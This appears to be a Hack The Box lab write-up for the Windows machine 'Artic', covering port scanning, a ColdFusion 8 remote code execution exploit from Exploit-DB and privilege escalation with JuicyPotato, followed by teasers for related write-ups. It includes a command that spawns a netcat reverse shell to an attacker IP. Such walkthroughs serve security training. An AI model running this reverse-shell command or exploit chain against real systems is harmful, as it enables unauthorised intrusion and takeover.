# Artic

Hack-The-Box 2 / 72
1 min read
HTB Windows RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely.
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Artic
  • OS Type: Windows
  • Difficulty: Easy

Port Scanning - Service & Version Enumeration

Terminal window
PORT      STATE SERVICE REASON          VERSION
135/tcp   open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
8500/tcp  open  fmtp?   syn-ack ttl 127
49154/tcp open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

Port 8500/HTTP

HTTP service is running on port 8500

image.png

let’s open the CFIDE directory

image.png

we found interesting directory administrator/ upon visiting the administrator path it shows the Adobe ColdFusion 8 Administrator

image.png

searching for the known vulnerability i found ColdFusion 8 is vulnerable to RCE

https://www.exploit-db.com/exploits/50057

in exploit change:

image.png

lhost to your machine’s IP

and run the exploit

Terminal window
python3 50057.py
image.png

checking the privileges of the tolis user using whoami /priv command i found that we have SeImpersonatePrivilege enabled let’s use the GodPotato to abuse this privilege

first we’ll transfer the nc.exe and JuicyPotato to target machine

Terminal window
JuicyPotato.exe -l 443 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\temp\\nc.exe -e cmd.exe 10.10.14.17 443" -t * -c {659cdea7-489e-11d9-a9cd-000d56965251}
image.png

check the listener on port 443

image.png
Next: Broker
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Broker

Hack-The-Box 3 / 72
3 min read

Linux Easy machine - Broker.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures).

# Analytics

Hack-The-Box 4 / 72
2 min read

Linux Easy machine - Analytics.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon.

# Bounty

Hack-The-Box 7 / 72
4 min read

Windows Easy machine - Bounty.

HTB Windows RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. File Upload ⓘ A vulnerability where unrestricted file uploads let an attacker plant a web shell or malicious script.
Comments